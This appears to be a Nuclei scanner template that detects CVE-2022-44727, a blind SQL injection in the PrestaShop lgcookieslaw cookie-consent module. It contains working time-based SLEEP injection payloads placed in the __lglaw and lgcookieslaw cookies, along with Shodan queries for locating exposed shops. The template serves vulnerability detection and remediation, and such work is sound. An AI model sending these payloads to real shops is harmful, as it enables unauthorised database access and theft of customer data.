id: CVE-2022-44727

info:
  name: PrestaShop lgcookieslaw - SQL Injection
  author: mastercho
  severity: critical
  description: |
    The EU Cookie Law GDPR (Banner + Blocker) PrestaShop module before 2.1.3 allows blind SQL injection via the __lglaw or lgcookieslaw cookie used to store user consent choices.
  impact: |
    Successful exploitation allows unauthenticated attackers to read or modify the shop database, including customer PII and payment-related data.
  remediation: |
    Upgrade the lgcookieslaw module to version 2.1.3 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44727
    - https://security.friendsofpresta.org/modules/2022/11/06/lgcookieslaw.html
    - https://web.archive.org/web/2/https://securityandstuff.com/posts/cve-2022-44727/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44727
    epss-score: 0.02298
    epss-percentile: 0.81034
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: lineagrafica
    product: eu_cookie_law_gdpr
    framework: prestashop
    shodan-query:
      - http.component:"Prestashop"
      - http.component:"prestashop"
  tags: cve,cve2022,prestashop,prestashop-module,sqli,time-based-sqli,lgcookieslaw,unauth

variables:
  rand_num: "{{rand_int(1000,9999)}}"
  lglaw_v1: "2,3,4,5) AND (SELECT {{rand_num}} FROM (SELECT(SLEEP(10)))vkBH) AND (9297=9297"
  lglaw_v2_json: "{\"lgcookieslaw_accepted_purposes\":\"[\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5) AND (SELECT {{rand_num}} FROM (SELECT(SLEEP(10)))vkBH) AND (9297=9297\\\"]\"}"
  lglaw_v2: "{{base64(lglaw_v2_json)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /modules/lgcookieslaw/views/css/front.css HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /modules/lgcookieslaw/views/js/front.js HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(tolower(body), 'lgcookieslaw')
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}
        Cookie: __lglaw={{lglaw_v1}}

      - |
        @timeout: 20s
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}
        Cookie: lgcookieslaw={{lglaw_v2}}

    stop-at-first-match: true
    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        name: lglaw-v1-sqli
        dsl:
          - duration_1 >= 10
          - status_code_1 == 200
        condition: and
      - type: dsl
        name: lglaw-v2-sqli
        dsl:
          - duration_2 >= 10
          - status_code_2 == 200
        condition: and
# digest: 4b0a00483046022100a209293a2d73de6f16579bf876674f4cb11d08b0599323a4962b4c4928726e0b02210080c861c126771ebceb2d900f08490b161c70e917b210e8a3444ef3eaad2789d2:922c64590222798bb761d5b6d8e72950